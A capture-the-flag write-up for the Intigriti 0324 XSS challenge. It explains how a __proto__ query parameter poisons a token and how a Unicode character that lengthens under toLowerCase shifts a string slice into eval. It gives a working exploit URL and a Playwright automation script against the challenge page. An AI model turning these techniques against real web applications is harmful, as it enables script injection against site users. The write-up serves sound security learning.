Logo
Published on

Intigriti challenge 0324 writeup

Authors

Source: Intigriti

Solves: 49

Introduction

Yet another interesting challenge from Intigriti. This time around we have a web application with a few query parameters and the goal is to execute arbitrary JavaScript code and print out 1337.

Reconnaissance

Navigating to the challenge page we are presented with two sections of input fields and buttons, Set Contact Info and Set Token.

Challenge page

When we enter some data in the Set Contact Info section and click the input button and then proceed to click the info button an alert appears with the data we entered. Same applies for the Set Token section where some kind of hash is displayed.

Set contact alert
Set token alert

So it seems that whatever we enter in the fields is then propagated as an alert and displayed on the page after clicking the info button. Self XSS is out of scope for this challenge so that means we need to find a way to get XSS without user interaction.

Source code analysis

The source code was not supplied in this challenge so we will have to copy the web page and analyze it locally. I achieve this by running

wget --mirror            \
     --convert-links     \
     --html-extension    \
     --wait=2            \
     -o log              \
     https://challenge-0324.intigriti.io/challenge/index.html

This will download all the files and assets locally so I can analyze them.

The file structure is simple and the index file loads two modules core.js, md5.js which is the CryptoJS library so we will not focus much on this.

The index.html file contains the HTML for the input fields and buttons as well as the JavaScript code that handles the input and button clicks. The HTML is standard and there is not much to analyze here.

Our main focus will be on the <script> part of the index.html file.

 var user = {};
    function runCmdToken(cmd) {
      if (!user['token'] || user['token'].length != 32) {
        return;
      }
      var str = `${user['token']}${cmd}(hash)`.toLowerCase();
      var hash = str.slice(0, 32);
      var cmd = str.slice(32);   
      eval(cmd);
    }

    function handleInputToken(inp) {
      var hash = CryptoJS.MD5(inp).toString();
      user['token'] = `${hash}`;
    }

    function runCmdName(cmd) {
      var name = Object.keys(user).find(key => key != "token");
      if (!name) {
        return;
      }
      
      var contact = Object.keys(user[name]);
      if (!contact) {
        return;
      }
      var value = user[name][contact];
      if (!value) {
        return;
      }
      eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
    }

    function handleInputName(name, contact, value) {
      user[name] = { [contact]: value };
    }

    const urlParams = new URLSearchParams(window.location.search);

    const nameParam = urlParams.get("setName");
    const contactParam = urlParams.get("setContact");
    const valueParam = urlParams.get("setValue");
    const tokenParam = urlParams.get("setToken");
    const runContactInfo = urlParams.get("runContactInfo");
    const runTokenInfo = urlParams.get("runTokenInfo");

    if (nameParam && contactParam && valueParam) {
      handleInputName(nameParam, contactParam, valueParam);
    }

    if (tokenParam) {
      handleInputToken(tokenParam);
    }

    if (runContactInfo) {
      runCmdName('alert');
    }

    if (runTokenInfo) {
      runCmdToken('alert');
    }

We can see that the inputs can be supplied as query parameters and then the handleInputName and handleInputToken functions are called respectively. The runCmdName and runCmdToken functions are called when the runContactInfo and runTokenInfo query parameters are present which allows us to mimic the button clicks without user interaction. That solves our self xss problem.

Handle input functions

The handleInputName function takes three parameters, name, contact, and value and assigns the value to the user object with the name as the key and the contact as the key to the value.

The handleInputToken function takes one parameter, inp and calculates the MD5 hash of the input and assigns it to the user object with the key token.

Run command functions

The runCmdName function takes one parameter, cmd and searches for the first key in the user object that is not token. Then it proceeds to set the contact variable to the keys of the found key and then the value variable to the value of the found key. Finally, it evaluates the cmd with the name, contact, and value as arguments.

A simplified example would be, where the user supplies name as name_test, contact as contact_test, and value as value_test.

The user object would look like this:

{
  "name_test": {
    "contact_test": "value_test"
  }
}

The runCmdToken function takes one parameter, cmd and checks if the user object has a key token and if the length of the value is 32. If the conditions are met it proceeds to concatenate the token value with the cmd and (hash) string. The hash is then sliced from the start to the 32nd character and the cmd is sliced from the 32nd character to the end. Finally, it evaluates the cmd. MD5 hashes are always 32 characters long.

The token by default is set via the handleInputToken function which calculates the MD5 hash of the input and assigns it to the user object with the key token.

Exploitation

Based on our analysis we can see that the potential attack vector would be to somehow manipulate the values in the user object via either the handleInputName or handleInputToken functions and then execute arbitrary JavaScript code via the runCmdName or runCmdToken functions.

Prototype poisoning

The handleInputName function assigns the value to the user object with the name as the key and the contact as the key to the value. This means that if we can manipulate the name and contact values we can potentially poison the user object and execute arbitrary JavaScript code.

By supplying the name as __proto__ and the contact as test and the value as test we can poison the user object and add a new key test to the user object.

https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=test&setValue=test

Then if we enter user.test in the console we can see that the user object has been poisond, however this does not let us execute arbitrary JavaScript code so we need to find a way to leverage this.

XSS

Since we got our entrypoint via the runCmdName function we can try to somehow exploit the runCmdToken function. If we poisond the user object with token as the key we will bypass the setToken function and supply our own input.

https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=11111111111111111111111111111111

Token poisoning

Great, now the problem is that the function expects exactly 32 characters so we can't just insert alert(1)//... and expect it to work. After some brainstorming with stealthcopter we came to the conclusion that perhaps some characters might be interpreted as more than 1 character and thus bypass the 32 character limit and slice the string in a way that we can execute arbitrary JavaScript code.

So we would need an array of characters that is with a length of 32, however after being processed it ends up with a length of more than 32 characters. We can write a script that will go through all the unicode characters including surrogate pair characters and check if they are processed as more than one character.


// Adjusted runCmdToken function from index.html
function runCmdToken(cmd, token) {
    if (!token || token.length != 32) {
      return 0;
    }
    var str = `${token}${cmd}`.toLowerCase();
    var hash = str.slice(0, 32);

    var cmd = str.slice(32);    
    return `${cmd}(${hash})`
  }

// Loop through all unicode characters
for (var i = 0; i <= 0x10FFFF; i++) {
        res = runCmdToken('alert', String.fromCharCode(i).repeat(32));
        // Check if the length of the response is more than 39 characters which includes 32 + 7 characters for the alert function
        if (res && res.length != 39){
                // If it is print out the character and the response
                console.log(`Found character ${String.fromCharCode(i)}`)
                console.log(res);
                console.log(res.length);
        }
}

After running we get a hit

node ex.js
Found character İ
i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇alert(i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇)
71

The vulnerable part is in the toLowerCase function which converts the İ character to which is a combination of two characters. This means that we can supply the İ character 32 times and then the alert function and it will be processed as 71 characters and we can adjust the slicing to execute arbitrary JavaScript code.

The final payload is:

https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(1337);////

XSS

Bonus video

Video showcasing an automated exploit for the challenge, inspired by stealthcopter and his previous challenge win.

Code

import re
import logging

from playwright.sync_api import sync_playwright

# Now lets write a function that will iterate all the unicode characters and find us a lowercase char that is > 1
def get_special_char():
    for i in range (0x0000, 0xFFFF):
        c = chr(i)
        # Lets check if when to lowercase is called we get a size larger than 1
        if len(c.lower()) > 1:
            return c
    raise Exception("Could not find a suitable character")


# First we need to boot up a browser with playwright so we can start testing out our payload
def start_browser():
    playwright = sync_playwright().start()
    browser = playwright.chromium.launch()
    context = browser.new_context()

    # Returning the playwright browser object
    return context.new_page()

# Now lets write a method to handle dialogs
# Lets also take in the caracter and XSS payload so we print it in the end
def handle_dialog(dialog, payload):
    if dialog.message == "1337":
        print(f"[+] Success, got a working payload: {payload}")
    dialog.dismiss()

def exploit():
    # Defining our URL which we are able to poison
    URL = "https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=1&setName=__proto__&setContact=token&setValue=%s"
    # Defining our XSS we want to exec
    XSS = "alert(1337);//"
    # Placeholder for our special char
    SPECIAL_CHAR = 0x0000

    print("[+] Starting browser")
    page = start_browser()

    page.on("dialog", lambda dialog: handle_dialog(dialog, f"{CHAR}{XSS}"))

    print("[+] Trying to find special character")
    CHAR = get_special_char()
    # Now lets set the proper size based on our payload
    CHAR = CHAR * (32 - len(XSS))

    # Now we need to iterate to get the proper amount of special characters and comments to get our payload to execute
    while len(CHAR) > 0:
        page.goto(URL % f"{CHAR}{XSS}")
        # Deduct the special character variable in case of no alert
        CHAR = CHAR[1:]
        # Increase the comments
        XSS += "/"


exploit()

Conclusion

Really interesting challenge that required a bit of thinking and creativity to solve. The combination of prototype poisoning and unicode characters was a nice touch and I enjoyed solving this challenge. Thanks to Intigriti for hosting this challenge and I look forward to the next one.